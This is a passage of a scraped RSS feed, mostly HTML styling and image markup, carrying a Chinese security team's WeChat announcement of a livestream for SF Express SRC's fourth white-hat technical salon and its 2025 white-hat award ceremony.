0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 20px 0px -30px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: right;transform: translate3d(16px, 0px, 0px);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 0px 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 315.719px;vertical-align: top;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: -10px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;"><svg xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 536.1 59.2" style="vertical-align: middle;" width="536.1" role="img" aria-label="插图"><g><polygon points="533.5,3 518.7,19.1 503.1,1 486.9,18.6 471.3,0.5 455.1,18.1 439.5,0 422,19.1 424.6,21.5 439.4,5.3 455,23.4    471.2,5.8 486.8,23.9 503,6.3 518.6,24.4 536.1,5.4" fill="#000000"></polygon><g><polygon points="89.5,28.7 82.5,39.3 96.5,39.3" fill="#000000"></polygon><polygon points="68.9,28.7 61.9,39.3 75.9,39.3" fill="#000000"></polygon><polygon points="48.2,28.7 41.3,39.3 55.2,39.3" fill="#000000"></polygon><polygon points="27.6,28.7 20.6,39.3 34.6,39.3" fill="#000000"></polygon><polygon points="7,28.7 0,39.3 14,39.3" fill="#000000"></polygon></g><g><rect x="144.2" y="36.9" width="328.3" height="3.6" fill="rgb(233, 194, 89)"></rect></g><g><rect x="41.3" y="55.6" width="448.1" height="3.6" fill="#000000"></rect></g></g></svg></p></div></div></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;caret-color: rgba(0, 0, 0, 0.9);clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028117" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=89af1f43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D3"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fca64ebe&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514227%26idx%3D1%26sn%3D9f429dbdf836e1f09a80bd585ad21933">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 20 Mar 2026 08:02:00 +0800</pubDate>
    </item>
    <item>
      <title>直播预约 | 顺丰SRC第四届白帽技术沙龙，干货抽奖全都有！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514226&amp;idx=1&amp;sn=f5622bcec7e137580b4b1f63c6187dc3</link>
      <description>顺丰SRC第四届白帽技术沙龙暨2025年度白帽颁奖盛典白帽师傅集合</description>
      <content:encoded><![CDATA[<p><span>ChaMd5安全团队</span> <span>2026-03-19 17:06</span> <span style="display: inline-block;">辽宁</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f3e3c2df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjvwqHfehg2MsuNUs4Ds5cQZeoDlL2MO1ibpRhEyibnQdIVG8icibw3n1icibSWAzzOwBbZaCKic1ibVA7bFHFmNkqA7zM3uftOYh0S2dxFFWmotGFJQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>顺丰SRC第四届白帽技术沙龙暨2025年度白帽颁奖盛典白帽师傅集合</p>
  <div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 1px;line-height: 2;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);visibility: visible;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_png/fAztM8IUrIZu7BF7XcibkGib4icBfxYAXSiaibxQdTW1cPBErPbdJGupLn1n9RfYaAmxqzb8LgnayHpr8K4ibxzJAYww/640?wx_fmt=png" data-fail="0" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 677px;align-self: flex-start;background-position: 0% 0%;background-repeat: repeat;background-size: 7.2139%;background-attachment: scroll;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=5bd544ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfAztM8IUrIZu7BF7XcibkGib4icBfxYAXSiaibxQdTW1cPBErPbdJGupLn1n9RfYaAmxqzb8LgnayHpr8K4ibxzJAYww%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D15%26wx_lazy%3D1&#34;);visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;width: 677px;visibility: visible;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_png/qUPU0NnaBqbPhNHT83he1VJVMep2CPAia6HZpY3Ac3EV14sXr6PYibPiah6Yx1WmGEp3PQfquSWdU1mgMfZGaXQKg/640?wx_fmt=png" data-fail="0" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-repeat: repeat-y;background-attachment: scroll;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=75a2c51c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FqUPU0NnaBqbPhNHT83he1VJVMep2CPAia6HZpY3Ac3EV14sXr6PYibPiah6Yx1WmGEp3PQfquSWdU1mgMfZGaXQKg%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D15%26wx_lazy%3D1&#34;);background-position: 0% 0%;background-size: 100% !important;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: grid;width: 677px;overflow: hidden;align-self: flex-start;line-height: 1.6;font-size: 16px;letter-spacing: 0px;color: rgb(0, 0, 0);grid-template-columns: 100%;grid-template-rows: 100%;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 277.891px 0px 0px 258.234px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 120.906px;height: 103.625px;transform: rotateZ(12.53deg);grid-column-start: 1;grid-row-start: 1;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;font-size: 4px;height: 103.625px;pointer-events: none;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 120.906px;pointer-events: none;visibility: visible;"><img alt="图片" class="rich_pages wxw-img __bg_gif" data-ratio="0.8560606060606061" data-s="300,640" data-w="264" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 120.906px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="gif" src="https://wechat2rss.xlab.app/img-proxy/?k=ac93919b&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_gif%2F4tc6mDlGcQRNia81RHWmwn2ox4eGXtHQB5FKHMbeHl2qP1fcJDKSfsdtn1Yx0c28FTh8RXkCeLfNZUwtzjjJLO6HPJsoicCAxGXHlfY0hjQcU%2F640%3Fwx_fmt%3Dgif%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D0"/></p></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10.7344px 0px 0px -74.6094px;padding: 0px;outline: 0px;max-width: 111.886%;box-sizing: border-box;overflow-wrap: break-word !important;width: 757.453px;height: 97.25px;transform: rotateZ(349.94deg);grid-column-start: 1;grid-row-start: 1;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;font-size: 22px;height: 97.25px;pointer-events: none;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 757.453px;pointer-events: none;visibility: visible;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.12834978843441466" data-s="300,640" data-w="709" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 757.453px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=dc56cbca&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_png%2F4tc6mDlGcQTpfFWItP6uUkaAtEz09tjTW6d3DicpCQDibcg76AJiaGpfcSzdz7EOBuNTznxibZicnYLy9Nzfb0ibnYVlQoMhnR9cTfsHZ90mz7WZk%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D1"/></p></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: -48.7344px 0px 0px -232.938px;padding: 0px;outline: 0px;max-width: 107.657%;box-sizing: border-box;overflow-wrap: break-word !important;width: 728.828px;height: 93.5625px;transform: rotateZ(349.94deg);grid-column-start: 1;grid-row-start: 1;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;font-size: 22px;height: 93.5625px;pointer-events: none;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 728.828px;pointer-events: none;visibility: visible;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.12834978843441466" data-s="300,640" data-w="709" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 728.828px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1768ba45&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_png%2F4tc6mDlGcQTpfFWItP6uUkaAtEz09tjTW6d3DicpCQDibcg76AJiaGpfcSzdz7EOBuNTznxibZicnYLy9Nzfb0ibnYVlQoMhnR9cTfsHZ90mz7WZk%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D2"/></p></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 88.2344px 0px 0px -66.8594px;padding: 0px;outline: 0px;max-width: 116.627%;box-sizing: border-box;overflow-wrap: break-word !important;width: 789.562px;height: 165.875px;transform: rotateZ(348.25deg);grid-column-start: 1;grid-row-start: 1;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;font-size: 23px;height: 165.875px;pointer-events: none;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 789.562px;pointer-events: none;visibility: visible;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.21" data-s="300,640" data-w="1000" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 789.562px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=2ba3cf7d&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_png%2F4tc6mDlGcQRswhqSF6WAMgT3nCE0WqT4BKoeOsM8jgBwNnfdXKticHBoINQSPiaO66hTibp76MDKibjjVdEibYRaV2FQpnicWibRDjGmiaKA94iaUQhs%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D3"/></p></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 174.25px 0px 0px -8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 469.5px;height: 28.8594px;transform: rotateZ(350.24deg);grid-column-start: 1;grid-row-start: 1;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;font-size: 14px;height: 28.8594px;pointer-events: none;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 469.5px;pointer-events: none;visibility: visible;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.06111111111111111" data-s="300,640" data-w="900" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 469.5px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=dcd0c415&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_png%2F4tc6mDlGcQSYlDgiav09mHg5eliaM8kjvVC79C1yGzHFXmstNR3JCfkCh63KacQ3icu1o5IarfDy4HPuWlibqyK18avHUASDdDKuX3EdXyNdpibE%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D4"/></p></div></div><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;grid-column-start: 1;grid-row-start: 1;display: flex;pointer-events: none;visibility: visible;"><svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%" style="transform: rotate(0deg);box-sizing: border-box;visibility: visible;" viewBox="0  0 383 510" role="img" aria-label="插图"><svg style="overflow: initial;box-sizing: border-box;visibility: visible;" width="77.0482%" height="12.41%" x="1.61053%" y="8.706921825296%" role="img" aria-label="插图"><foreignObject width="100%" height="100%" style="transform-origin: center center;transform: rotateZ(347.42deg);box-sizing: border-box;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 23px;height: 63.2812px;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 40px;color: rgb(255, 255, 255);text-align: center;word-break: break-word;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-align: left;visibility: visible;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"># </span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 32px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">顺丰SRC</span></span></strong></p></div></div></foreignObject></svg></svg></p><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 191.328px 0px 0px 21.1719px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 613.375px;height: 624.828px;transform: rotate(0deg);grid-column-start: 1;grid-row-start: 1;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;font-size: 18px;height: 624.828px;pointer-events: none;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 613.375px;pointer-events: none;visibility: visible;"><img alt="图片" class="rich_pages wxw-img __bg_gif" data-ratio="1.0171875" data-s="300,640" data-w="640" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 613.375px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="gif" src="https://wechat2rss.xlab.app/img-proxy/?k=4b17ce91&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_gif%2F4tc6mDlGcQTwGThLKoePZDLcMc1YCSBqE0pibKiaT9LEc8dEjwJB1GD8mtbKIEJIOYHicicMYnxaj3JrE5rBNNUKUtvrHDV7l3rFCl81ZbSd35g%2F640%3Fwx_fmt%3Dgif%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D5"/></p></div></div><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;grid-column-start: 1;grid-row-start: 1;display: flex;pointer-events: none;visibility: visible;"><svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%" style="transform: rotate(0deg);box-sizing: border-box;visibility: visible;" viewBox="0  0 383 510" role="img" aria-label="插图"><svg style="overflow: initial;box-sizing: border-box;visibility: visible;" width="94.5783%" height="12.34%" x="1.68339%" y="59.310448671151995%" role="img" aria-label="插图"><foreignObject width="100%" height="100%" style="transform-origin: center center;transform: rotate(0deg);box-sizing: border-box;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 27px;height: 62.9219px;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 21px;color: rgb(95, 156, 239);text-align: center;line-height: 1.5;letter-spacing: 1.5px;word-break: break-word;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">第四届白帽技术沙龙</span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">暨2025年度白帽颁奖盛典</span></strong></p></div></div></foreignObject></svg></svg></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;grid-column-start: 1;grid-row-start: 1;display: flex;pointer-events: none;visibility: visible;"><svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%" style="transform: rotate(0deg);box-sizing: border-box;visibility: visible;" viewBox="0  0 383 510" role="img" aria-label="插图"><svg style="overflow: initial;box-sizing: border-box;visibility: visible;" width="43.7349%" height="4.39%" x="41.9244%" y="71.96875540122801%" role="img" aria-label="插图"><foreignObject width="100%" height="100%" style="transform-origin: center center;transform: rotate(0deg);box-sizing: border-box;visibility: visible;"></foreignObject></svg></svg></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;grid-column-start: 1;grid-row-start: 1;display: flex;pointer-events: none;visibility: visible;"><svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%" style="transform: rotate(0deg);box-sizing: border-box;visibility: visible;" viewBox="0  0 383 510" role="img" aria-label="插图"><svg style="overflow: initial;box-sizing: border-box;visibility: visible;" width="46.1446%" height="5.26%" x="49.3946%" y="1.8061020272844%" role="img" aria-label="插图"><foreignObject width="100%" height="100%" style="transform-origin: center center;transform: rotate(0deg);box-sizing: border-box;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 10px;height: 26.8125px;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 17px;color: rgb(255, 255, 255);text-align: center;word-break: break-word;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">白帽师傅集合！■ ■ ■</span></strong></p></div></div></foreignObject></svg></svg></p><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 62.125px 0px 0px 433.844px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 172.078px;height: 95.2969px;transform: perspective(0px) rotateZ(348.38deg);grid-column-start: 1;grid-row-start: 1;transform-style: flat;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;font-size: 5px;transform: rotateY(180deg);height: 95.2969px;pointer-events: none;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 154.859px;height: auto;pointer-events: none;visibility: visible;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5535714285714286" data-s="300,640" data-w="280" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 154.859px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d3aae223&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_png%2F4tc6mDlGcQTJcN8OKSRwOhdurzgvXqUHJjefGiaxAn1T5FMY8TpP8hD1ib2QKmfJWHaonXGSY7AOfhTCAlUH7iajIbsgaCrAibaicmBadCmpHrLI%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D6"/></p></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 24.4844px 0px 0px 39.1406px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 164.75px;height: 45.5781px;transform: perspective(0px) rotate(0deg);grid-column-start: 1;grid-row-start: 1;transform-style: flat;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;font-size: 5px;transform: rotateY(180deg);height: 45.5781px;pointer-events: none;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 164.75px;pointer-events: none;visibility: visible;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.27671232876712326" data-s="300,640" data-w="365" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 164.75px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" 